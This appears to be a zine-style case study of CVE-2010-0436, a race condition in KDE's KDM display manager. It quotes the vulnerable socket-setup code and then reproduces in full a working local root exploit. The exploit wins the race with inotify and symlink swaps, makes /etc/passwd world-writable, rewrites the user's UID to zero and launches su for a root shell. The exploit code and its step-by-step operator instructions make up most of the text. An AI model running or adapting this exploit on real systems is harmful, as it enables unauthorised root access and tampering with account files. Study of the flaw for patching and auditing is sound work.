CVE vulnerability Case Study: CVE-2010-0436 KDE TOCTTOU vulnerability

                                    ___    ___        
                                   / _ \  / _ \     
                            __  __| (_) || | | |  ___ 
                            \ \/ / \__. || | | | / __| 
                             >  <    / / | |_| || (__ 
                            /_/\_\  /_/   \___/  \___|


[toc]

	----[ 1 - Abstract

	----[ 2 - Vulnerbility Details

	----[ 3 - Exploit code
	
	----[ 4 - Conclusion

        ----[ 5 - References

        ----[ 6 - Greets


----[ 1 - Abstract

It's the case study of the cve-2010-0436 KDE TOCTTOU discovered by stealth.
I explains the cve-2010-0436 vulnerability and the details finally, exploit
code. 

The cve-2010-0436 has a vulnerability to lead to local privilege escalation
It ocurred at the openCtrl function in the kdebase-workspace-4.1.4/kdm/back
end/ctrl.c, the display manager daemon.

A little TOCTTOU cve cases are reported, in apache, bzip2, gzip, ...
openldap, openssl, kerberos, openoffice, cups, samba, xinetd, perl, KDE.
(Table 1: Reported TOCTTOU Vulnerabilities [1]) and the cwe observed example
of the TOCTTOU vulnerabilities are CVE-2003-0813 rpc dcom CVE-2004-0594 php
CVE-2008-2958/CVE -2008-1570 checkinstall,  [2].


----[ 2 - Vulnerability Details


/var/run/xdmctl/dmctl-$DISPLAY/socket


---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ----

...

/*
 * xdm - display manager daemon
 * Author: Keith Packard, MIT X Consortium
 *
 * display manager
 */

...

void
openCtrl( struct display *d )  /* vulnerable function */
{
  CtrlRec *cr;
  const char *dname;
  char *sockdir;
  struct sockaddr_un sa;

  if (!*fifoDir)
    return;
  if (d) {
    cr = &d->ctrl, dname = d->name;
    if (!memcmp( dname, "localhost:", 10 ))
      dname += 9;
  } else
    cr = &ctrl, dname = 0;
    if (cr->fd < 0) {
      if (mkdir( fifoDir, 0755 )) {
        if (errno != EEXIST) {
	  logError( "mkdir %\"s failed; no control FiFos will be available\n",
	             fifoDir );
	  return;
	}
      } else
        chmod( fifoDir, 0755 ); /* override umask */

	sockdir = 0;
	strApp( &sockdir, fifoDir, dname ? "/dmctl-" : "/dmctl",
	        dname, (char *)0 );

	/* socket directory exists? */
	if (sockdir) {
	  strApp( &cr->path, sockdir, "/socket", (char *)0 );	/* get a string of cr->path '/socket' 
                                                                   attached. */

	  if (cr->path) {
	    if (strlen( cr->path ) >= sizeof(sa.sun_path))
	      logError( "path %\"s too long; no control sockets will be available\n",
		         cr->path );
	    else if (mkdir( sockdir, 0755 ) && errno != EEXIST)	// directory create failed?
	      logError( "mkdir %\"s failed; no control sockets will be available\n",
		         sockdir );

	    else {	/* XXX: directory created?. ( /socket dir permmision 755 ) */
	      if (!d)
	        chown( sockdir, -1, fifoGroup );

		/* XXX: change sockdir directory permission to 750. */
		chmod( sockdir, 0750 );

		if ((cr->fd = socket( PF_UNIX, SOCK_STREAM, 0 )) < 0)	// create socket.
		  logError( "Cannot create control socket\n" );
		else { // socket created?

 	          unlink( cr->path ); // (1) unlink cr->path. (socket file)

		  sa.sun_family = AF_UNIX;
		  strcpy( sa.sun_path, cr->path );

		  if (!bind( cr->fd, (struct sockaddr *)&sa, sizeof(sa) )) {
		    if (!listen( cr->fd, 5 )) { // (2) listen. 

		    /* (3) XXX: vulnerable point - set permission 666 after cr->path 
                           created newly. */
		      chmod( cr->path, 0666 );

		      registerCloseOnFork( cr->fd );
		      registerInput( cr->fd );
		      free( sockdir );
		      return;

...


---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ----


(1) unlink /var/run/xdmctl/dmctl-$DISPLAY/socket file and (2) bind and
listen get an new socket and the socket file and (3) chmod 666 the socket
file. After unlink the socket file ln -s /etc/shadow /var/run/xdmctl/dmctl
-$DISPLAY/socket and (2) failed and chmod 666 the socket file to lead to
chmod /etc/shadow 666. TOCTTOU!

A process do symlink and another process open the display continualy, can
get the read/writable /etc/shadow file. The open the display via the AF_UNIX
socket.


----[ 3 - Exploit Code


See the exploit process via stealth's exploit code:

[bambule-digitale.c]
----
/* bambule-digitale.c aka krm.c - KDE Root Manager
 *
 * KDE3/4 KDM local root exploit (C) 2010
 * Successfully tested on openSUSE 11.2 with intel Core2 x64
 * a 1.6Ghz. But this is not Linux specific!
 *
 * Bug is a silly race. KDM opens control socket in
 * /var/run/xdmctl/dmctl-$DISPLAY/socket. It looks safe
 * since the dir containing the socket is chowned to user [2]
 * after the bind()/chmod() [1] has been done. However, rmdir() [3]
 * retval is not checked and therefore upon restart mkdir()
 * for a root owned socket dir fails. Thus still owned by
 * user who can then play symlink tricks:
 *
 * kdm/backend/ctrl.c:
 *
 * ...
 *       if ((cr->fd = socket( PF_UNIX, SOCK_STREAM, 0 )) < 0)
 *              LogError( "Cannot create control socket\n" );
 *       else {
 *              unlink( cr->path );
 *              sa.sun_family = AF_UNIX;
 *              strcpy( sa.sun_path, cr->path );
 *              if (!bind( cr->fd, (struct sockaddr *)&sa, sizeof(sa) )) {
 *                      if (!listen( cr->fd, 5 )) {
 * [1]                          chmod( cr->path, 0666 );
 *                              RegisterCloseOnFork( cr->fd );
 *                              RegisterInput( cr->fd );
 *                              free( sockdir );
 *                              return;
 *                      }
 *                      unlink( cr->path );
 *                      LogError( "Cannot listen on control socket %\"s\n",
 *                                cr->path );
 * ...
 *
 *
 * void
 * chownCtrl( CtrlRec *cr, int uid )
 * {
 *       if (cr->path) {
 *               char *ptr = strrchr( cr->path, '/' );
 *               *ptr = 0;
 * [2]           chown( cr->path, uid, -1 );
 *               *ptr = '/';
 *       }
 * }
 *
 *
 * void
 * closeCtrl( struct display *d )
 * {
 *       CtrlRec *cr = d ? &d->ctrl : &ctrl;
 *
 *       if (cr->fd >= 0) {
 *               UnregisterInput( cr->fd );
 *               CloseNClearCloseOnFork( cr->fd );
 *               cr->fd = -1;
 *               unlink( cr->path );
 *               *strrchr( cr->path, '/' ) = 0;
 * [3]           rmdir( cr->path );
 *               free( cr->path );
 *               cr->path = 0;
 *               while (cr->css) {
 *                       struct cmdsock *cs = cr->css;
 *                       cr->css = cs->next;
 *                       nukeSock( cs );
 *               }
 *       }
 * }
 *
 * We make [3] fail by creating an entry in socketdir when it was
 * chowned to us. Creating an inotify for socket creations which
 * is delivered to us before chmod at [1]. Even if its very small
 * race we have good chances to win on fast machines with more
 * than one CPU node, e.g. common setup today.
 *
 * Log into KDM session, switch to console and login as same user.
 * Start program and follow instructions.
 *
 * No greets to anyone; you all suck badly :D
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/inotify.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <signal.h>
#include <sys/select.h>
#include <sys/syscall.h>
#include <sched.h>
#include <time.h>


void die(const char *msg)
{
	perror(msg);
	exit(errno);
}


void give_me_r00t()
{
	int fd;
	char buf[128], c;
	char *pwd = NULL, *ptr = NULL;
	struct stat st;
	off_t off = 0;

	if ((fd = open("/etc/passwd", O_RDWR)) < 0)
		die("[-] open");
	fstat(fd, &st);
	if ((pwd = malloc(st.st_size)) == NULL)
		die("[-] malloc");
	if (read(fd, pwd, st.st_size) != st.st_size)
		die("[-] read");
	snprintf(buf, sizeof(buf), "%s:x:", getenv("USER"));
	ptr = strstr(pwd, buf);
	if (!ptr) {
		printf("[-] Wrong /etc/passwd format\n");
		close(fd);
		return;
	}
	off = lseek(fd, ptr - pwd + strlen(buf), SEEK_SET);
	free(pwd);
	for (;;) {
		pread(fd, &c, 1, off);
		if (c == ':')
			break;
		write(fd, "0", 1);
		++off;
	}
	close(fd);
	sync();
}


int main()
{
	char buf[128];
	int ifd = 0;
	struct stat st;
	struct sockaddr_un sun;
	int sfd;
	const char *sock_dir = "/var/run/xdmctl/dmctl-:0";
	char *su[] = {"/bin/su", getenv("USER"), NULL};

	srand(time(NULL));

	chdir(sock_dir); /* (1) chdir sock_dir. */

	memset(&sun, 0, sizeof(sun));
	sun.sun_family = AF_UNIX;
	strcpy(sun.sun_path, "socket2");

	mkdir("hold me", 0);
	signal(SIGPIPE, SIG_IGN);

	symlink("/etc/passwd", "passwd"); // (2) ln -s /etc/passwd ./passwd

	printf("--==[ KDM3/4 local root PoC successfully tested on dual-core ]==--\n");
	printf("[+] Setup done. switch to KDM session and press Ctrl-Alt-Backspace (logout)\n");
	printf("[+] KDM screen will start to flicker (one restart per 2 seconds)\n");
	printf("[+] Be patient, this can take some minutes! If it takes more than\n");
	printf("[+] 5mins or so it runs on the wrong CPU node; try again.\n");
	printf("[+] If KDM screen stands still again, switch back to console.\n");

	for (;;) {	// (3) race!

		/* (2) open the display via PF_UNIX socket. */
		if ((sfd = socket(PF_UNIX, SOCK_STREAM, 0)) < 0)
			die("[-] socket");
		if ((ifd = inotify_init()) < 0)
			die("[-] inotify_init");
		if (inotify_add_watch(ifd, sock_dir, IN_CREATE) < 0)
			die("[-] inotify_add_watch");

		/* (4) unlink socket2 */
		unlink("socket2");

		/* blocks until race */
		syscall(SYS_read, ifd, buf, 1);

		/* be very fast, thus syscall() instead of glibc functions */
		syscall(SYS_rename, "socket", "socket2"); /* (5) rename socket socket2 */
		syscall(SYS_symlink, "passwd", "socket"); /* (6) ln -s passwd socket */
		close(ifd);

		if (stat("/etc/passwd", &st) < 0)
			die("[-] stat");
		if ((st.st_mode & 0666) == 0666)
			break;
		sleep(2);
		usleep(100 + (int)(50.0*rand()/(RAND_MAX+1.0)));

		/* (7) AF_UNIX socket to open the display (to create the socket file) */
		if (connect(sfd, (struct sockaddr *)&sun, sizeof(sun)) < 0)
			break;
		write(sfd, "suicide\n", 8);
		close(sfd);
	}

	/* (8) exploited? */
	if (stat("/etc/passwd", &st) < 0)
		die("[-] stat");
	if ((st.st_mode & 0666) != 0666) {
		printf("[-] Exploit failed.\n");
		return 1;
	}

	printf("[+] yummy! /etc/passwd world writable!\n");
	give_me_r00t();
	printf("[+] Type your user password now. If there is no rootshell, nscd is playing tricks.
                'su %s' then.\n", getenv("USER"));
	execve(*su, su, NULL);
	return 0;
}
----

The exploit comment explains also the related chownCtrl, closeCtrl.
First chdir to the socket directory and symlink /etc/passwd ./socket and
the next race! (4) unlink the socket2 and (5) rename socket to socket2
(6) symlink passwd (symlink'd) to ./socket and (7) AF_UNIX socket connect!

A process symlink /etc/passwd to /var/run/xdmctl/dmctl-:0/socket and the
another process open the display continualy and privilege escalation!


----[ 4 - Conclusion

If to find an TOCTTOU vulnerability, can audit the unlink/create/chmod
codes. If the code flow thaa unlink to chmod no permission checks and
can get the vulnerability.

I explained the KDM TOCTTOU vulnerability via summary, references and
the explanation of the process of the exploit.


----[ 5 - References

[1] TOCTTOU Vulnerabilities in UNIX-Style File Systems: An Anatomical Study
    https://www.usenix.org/legacy/event/fast05/tech/full_papers/wei/wei.pdf

[2] CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
    http://cwe.mitre.org/data/definitions/367.html


----[ 5 - Greets

my stuffs are more favorite than rebel's stuffs.


EOF